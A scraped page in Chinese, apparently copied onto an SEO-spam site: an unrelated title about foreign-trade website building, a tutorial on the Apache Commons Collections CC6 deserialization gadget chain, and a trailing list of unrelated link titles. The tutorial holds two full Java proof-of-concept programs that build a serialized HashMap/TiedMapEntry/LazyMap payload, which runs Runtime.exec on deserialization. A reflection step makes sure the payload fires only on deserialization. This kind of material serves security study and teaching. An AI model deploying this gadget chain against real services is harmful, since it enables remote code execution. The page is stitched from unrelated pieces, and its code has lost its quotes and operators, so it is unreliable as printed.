当前位置: 首页 > news >正文

外贸网站推广制作教程企业平台入口

外贸网站推广制作教程,企业平台入口,上海免费建站模板,网站浏览历史能恢复吗怎么设置的前面和CC1一样 优点是不限制jdk版本和cc的版本 先开一个ChainedTransformer 然后创LazyMap 我们顺便执行一下避免上面写错 能弹计算器 没问题 后面就是CC6不同的地方了 我们需要一个TiedMapEntry 因为需要一个类调用了get方法 在TiedMapEntry的getValue()方法中调用了get()…前面和CC1一样 优点是不限制jdk版本和cc的版本 先开一个ChainedTransformer 然后创LazyMap 我们顺便执行一下避免上面写错 能弹计算器 没问题 后面就是CC6不同的地方了 我们需要一个TiedMapEntry 因为需要一个类调用了get方法 在TiedMapEntry的getValue()方法中调用了get() 其中map和key都可控 那么我们就需要一个类调用getValue方法 TiedMapEntry的hashCode方法就可以 然后类似URLDNS的链子 我们可以知道这里可以用HashMap连上 HashMap的readObject方法会调用hashCode 至此链子结束 我们可以写出如下代码 package org.example.CC6;import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map;public class Main {public static void main(String[] args) throws ClassNotFoundException, IOException, NoSuchFieldException, IllegalAccessException {Transformer[] transformers new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer(getMethod,new Class[]{String.class, Class[].class}, new Object[]{getRuntime,null}),new InvokerTransformer(invoke,new Class[]{Object.class, Object[].class},new Object[]{null,null}),new InvokerTransformer(exec,new Class[]{String.class},new Object[]{calc})};ChainedTransformer chainedTransformer new ChainedTransformer(transformers);Map map new HashMap();Map lazyMap LazyMap.decorate(map,chainedTransformer);TiedMapEntry tiedMapEntry new TiedMapEntry(lazyMap,xxx);Map map2 new HashMap();map2.put(tiedMapEntry,ccc);serialize(map2);unSerialize(ser.bin);}public static void serialize(Object obj) throws IOException {ObjectOutputStream oos new ObjectOutputStream(new FileOutputStream(ser.bin));oos.writeObject(obj);}public static Object unSerialize(String path) throws IOException, ClassNotFoundException {ObjectInputStream ois new ObjectInputStream(new FileInputStream(path));return ois.readObject();} } 尝试执行 发现确实能弹计算器 但是这里存在和URLDNS一样的问题 , 就是这个计算器弹的时机是在map2.put的时候 而不是我们期望的反序列化的时候 原因是HashMap在put的时候已经给整条链走完了 因为这里的key ! null 所以继续进了hashCode LazyMap调用get 然后没有key put进去了 在后面反序列化的时候就有key了 有key就直接return map.get(key)了 为了避免这种情况 我们需要 让最开始传入的东西不能形成链子 就是说改LazyMap 改 TiedMapEntry 之类的的都行,只要不在反序列化前弹计算器就行 然后要记得给put进来的key remove掉 于是最终代码如下 package org.example.CC6;import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map;public class Main {public static void main(String[] args) throws ClassNotFoundException, IOException, NoSuchFieldException, IllegalAccessException {Transformer[] transformers new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer(getMethod, new Class[]{String.class, Class[].class}, new Object[]{getRuntime, null}),new InvokerTransformer(invoke, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer(exec, new Class[]{String.class}, new Object[]{calc})};ChainedTransformer chainedTransformer new ChainedTransformer(transformers);Map map new HashMap();Map lazyMap LazyMap.decorate(map, new ConstantTransformer(1));TiedMapEntry tiedMapEntry new TiedMapEntry(lazyMap, xxx);Map map2 new HashMap();map2.put(tiedMapEntry, ccc);lazyMap.remove(xxx);Field field LazyMap.class.getDeclaredField(factory);field.setAccessible(true);field.set(lazyMap, chainedTransformer);serialize(map2);unSerialize(ser.bin);}public static void serialize(Object obj) throws IOException {ObjectOutputStream oos new ObjectOutputStream(new FileOutputStream(ser.bin));oos.writeObject(obj);}public static Object unSerialize(String path) throws IOException, ClassNotFoundException {ObjectInputStream ois new ObjectInputStream(new FileInputStream(path));return ois.readObject();} }
http://www.hkea.cn/news/14494882/

相关文章:

  • 国外英文网站网站建设网站建设的网络
  • 网站的内部优化公司wordpress怎么破解查看
  • 怎么做国外的网站吗北京社保网上服务平台官网
  • 做设计都有什么网站网站管理制度建设
  • 帮人家做网站难吗青岛的设计公司
  • 自己建设网站服务器网络设计课程实验
  • 昌邑网站建设大作业做网站
  • 网站语言包是什么江苏省网站备案系统
  • 织梦模板建站博创安泰网站建设
  • 台州网站搜索优化以前可以做视频的网站
  • 爱佳倍 北京网站seo企业推广案例
  • 云尚网站建设南山商城网站建设哪家服务周到
  • app软件免费模板下载网站网站面向哪些地区做优化容易
  • 网站下拉广告重庆建网站方法
  • 网站首页鲁大师营销网站怎样做
  • 零基础网站开发设计搜索引擎推广一般包括( )
  • 重庆 网站设计外包公司access快速开发平台
  • 手机手机网站建设wordpress 栏目模板
  • 网站怎么做最省钱wordpress后台登录不上
  • 怎么把做的网页放入网站手机网站建设代理商
  • 做一个简单的网站四川建设安全协会网站
  • 微网站开发腾讯ainihejian wordpress
  • 网站app制作教程网站平台报价模板下载安装
  • 百度站长电脑版公众号平台怎么做
  • 安装网站模版视频十大品牌策划公司
  • 小说网站需求分析程序员用的编程软件
  • 天津做网站哪家好满版网页设计欣赏
  • 精品个人网站源码下载白银网站建设公司
  • 网站建设报价明细及方案简单网站的制作
  • 附近的网站设计开发织梦html5网站模板